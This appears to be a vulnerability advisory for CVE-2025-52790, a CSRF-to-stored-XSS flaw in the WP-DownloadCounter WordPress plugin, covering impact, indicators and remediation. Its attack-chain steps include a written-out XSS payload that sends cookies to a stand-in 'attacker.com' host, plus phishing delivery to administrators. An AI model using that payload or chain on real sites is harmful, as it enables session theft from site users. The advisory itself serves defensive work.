CVE-2025-52790: 
WordPress vulnerability analysis and mitigation

CVE-2025-52790 is a Cross-Site Request Forgery (CSRF) vulnerability in the WP-DownloadCounter WordPress plugin (by r-win) that enables Stored Cross-Site Scripting (XSS). It affects all versions of the plugin up to and including version 1.01. The vulnerability was published on June 20, 2025, and carries a CVSS v3.1 base score of 7.1 (High) (Red Hat CVE).

The vulnerability is classified under CWE-352 (Cross-Site Request Forgery). The plugin fails to implement adequate CSRF protections on sensitive administrative endpoints, allowing an attacker to craft a malicious request that, when triggered by an authenticated administrator visiting an attacker-controlled page, submits forged requests on their behalf. This CSRF vector is chained with a Stored XSS condition, meaning the forged request can inject persistent malicious scripts into the WordPress site's database, which are then executed in the browsers of subsequent visitors or administrators (Red Hat CVE).

Successful exploitation allows an attacker to persistently inject arbitrary JavaScript into the WordPress site, affecting all users who subsequently visit the compromised pages. This can lead to session hijacking, credential theft, defacement, or redirection of visitors to malicious sites. The changed scope (S:C) in the CVSS vector indicates that the impact extends beyond the plugin itself to the broader WordPress environment and its users (Red Hat CVE).

No public proof-of-concept exploit code or in-the-wild exploitation has been reported for CVE-2025-52790 as of the available data. The vulnerability requires user interaction — specifically, an authenticated WordPress administrator must be tricked into visiting a malicious page or clicking a crafted link. The EPSS score is approximately 0.015%, indicating a very low probability of exploitation in the near term. The CVE is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog (Red Hat CVE).

1. Reconnaissance: Identify WordPress sites running the WP-DownloadCounter plugin version 1.01 or earlier, using tools like WPScan or by inspecting publicly accessible plugin directories.
2. Craft malicious CSRF payload: Create an HTML page or form that submits a forged POST request to the vulnerable WP-DownloadCounter admin endpoint, embedding a Stored XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) in a plugin configuration field.
3. Deliver to administrator: Trick an authenticated WordPress administrator into visiting the attacker-controlled page (e.g., via phishing email or malicious link), causing the browser to automatically submit the forged request with the administrator's session credentials.
4. XSS stored: The malicious script is saved to the WordPress database via the forged request, as the plugin lacks CSRF token validation.
5. Payload execution: Any user or administrator who subsequently visits the affected page triggers the stored XSS, allowing the attacker to steal session cookies, perform actions on behalf of victims, or further compromise the site (Red Hat CVE).

• Logs: WordPress access logs showing unexpected POST requests to WP-DownloadCounter admin endpoints from unusual referrer origins or without valid nonce parameters.
• File System / Database: Unexpected JavaScript tags or encoded script content stored in WordPress database fields associated with the WP-DownloadCounter plugin settings.
• Network: Outbound connections from site visitors' browsers to unknown external domains, potentially indicating active XSS payload execution (e.g., cookie exfiltration endpoints).
• Process/Behavior: Administrators reporting unexpected changes to plugin settings or unfamiliar script content appearing on WordPress pages.

The primary remediation is to update the WP-DownloadCounter plugin beyond version 1.01 once a patched release is made available by the plugin author (r-win). If no patch is currently available, site administrators should consider deactivating and removing the plugin until a fix is released. Additionally, implementing a Web Application Firewall (WAF) with CSRF and XSS rules can provide interim protection. Administrators should also ensure that privileged WordPress accounts follow safe browsing practices to reduce the risk of CSRF-based attacks (Red Hat CVE).